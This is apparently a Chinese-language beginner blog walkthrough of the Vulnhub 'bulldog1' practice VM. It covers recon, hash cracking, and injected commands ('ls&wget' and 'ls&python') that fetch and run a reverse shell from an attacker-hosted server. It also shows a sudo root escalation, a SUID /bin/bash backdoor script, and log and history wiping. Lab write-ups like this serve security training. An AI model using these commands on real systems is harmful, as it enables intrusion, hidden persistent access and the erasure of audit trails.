白菜新手渗透测试靶机练习bulldog1

步骤
1.信息收集：ip 端口服务操作系统版本
2.漏洞扫描或漏洞发现：eg：ms17-010
3.漏洞利用：拿到shell
4.提权
5.留后门，清痕迹
6.渗透测试报告

主机发现：
dhclient 动态获取ip
netdiscover -i eth0 -r 192.168.68.0/24
nmap 192.168.68.0/24 -sn

nmap -T4 -sV -O -p 80,23,8080 192.168.68.138 //速度版本操作系统端口 IP

发现有http 所以用浏览器查看主页

dirb http://192.168.68.138 //扫描目录可以空格+字典名可以使用大字典 big.txt

dpkg -L dirb 查看相关字典文件

尝试访问/admin

抓包明文传输暴力破解第四种方式失败

/robots.txt //用来存放不会被爬虫的路径，未找到可用信息

访问/dev

f12查看

www.somd5.com 逐一破解
nick—bulldog

sarah—bulldoglover

认证之后可以使用webshell

发现命令执行漏洞：

kali shell脚本

python -m SimpleHTTPServer 80 //用python搭一个web服务必须在你想要对方wget的文件目录下

ls&wget http://192.168.68.130/shell.py

kali监听nc -vnlp 1234

ls&python shell.py

此时kali拿到shell

用strings命令查看文件，发现其中一串规律的英文字符，获取flag去掉H是“SUPERultimatePASSWORDyouCANTget”意思为“你没有拿到的终端超级密码”，猜测是“bulldogadmin”用户密码：

进入家目录，执行su、sudo操作需要重新打开一个终端：
python -c ‘import pty;pty.spawn("/bin/bash")’

sudo -i：为bulldogadmin用户修改root环境参量（输入bulldogadmin密码）：

提权成功

留后门：
创建新用户
打开443端口，kali编写文件suid.py，并上传到靶机上
#!/usr/bin/env python
import os
import sys
try:
os.system(‘chmod u+s /bin/bash’)
except:
sys.exit()

从本地复制到远程
scp local_file remote_username@remote_ip:remote_folder
scp -r suid.py root@192.168.68.138:suid.py // -r递归复制整个目录

清痕迹：
history -c //清除历史信息（上下键）
rm /root/.bash_history //删除文件，让其无法写入记录
/var/log/secure 安全日志
/var/log/faillog 登录失败的日志
echo > /var/log/wtmp 每个用户的登录次数和持续时间等信息
echo > /var/log/btmp 错误登录日志
echo > /var/log/lastlog 最后一次登录日志

白菜新手渗透测试靶机练习bulldog1相关推荐

渗透测试-靶机打靶思路与方法
渗透测试-靶机打靶思路与方法文章目录渗透测试-靶机打靶思路与方法一．对靶机进行信息收集 1.首先对目标存活靶机发起嗅探: 2.对目标主机开放端口及服务发起探测 3.对非web端口的服务发起迅速的 ...
看完这篇教你玩转渗透测试靶机——Metasploitable2
Metasploitable2渗透测试详解 Metasploitable2靶机介绍: Metasploitable2靶机下载: Metasploitable2靶机安装: Metasploitable2 ...
全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】
靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日靶机描述:欢迎使用" IMF&qu ...
看完这篇教你玩转渗透测试靶机vulnhub——DC9
Vulnhub靶机DC9渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机安装: Vulnhub靶机漏洞详解: ①:信息收集: ②:SQL注入: ③:文件包含: ④: ...
看完这篇教你玩转渗透测试靶机vulnhub——DC1
Vulnhub靶机DC1渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机安装: Vulnhub靶机漏洞详解: ①:信息收集: ②:漏洞发现: ③:漏洞利用: ④:S ...
看完这篇教你玩转渗透测试靶机vulnhub——DC3
Vulnhub靶机DC3渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机安装: Vulnhub靶机漏洞详解: ①:信息收集: ②:漏洞发现: ③:SQL注入: ④: ...
看完这篇教你玩转渗透测试靶机vulnhub——DC7
Vulnhub靶机DC7渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机安装: Vulnhub靶机漏洞详解: ①:信息收集: ②:SSH登入: ③:漏洞发现与利用: ...
看完这篇教你玩转渗透测试靶机vulnhub——My File Server: 2
Vulnhub靶机My File Server: 2渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机安装: Vulnhub靶机漏洞详解: ①:信息收集: ②:FTP ...
看完这篇教你玩转渗透测试靶机vulnhub——My File Server: 1
Vulnhub靶机My File Server: 1渗透测试详解 Vulnhub靶机介绍: Vulnhub靶机下载: Vulnhub靶机安装: Vulnhub靶机漏洞详解: ①:信息收集: ②:FTP ...

白菜新手渗透测试靶机练习bulldog1

白菜新手渗透测试靶机练习bulldog1相关推荐

最新文章

热门文章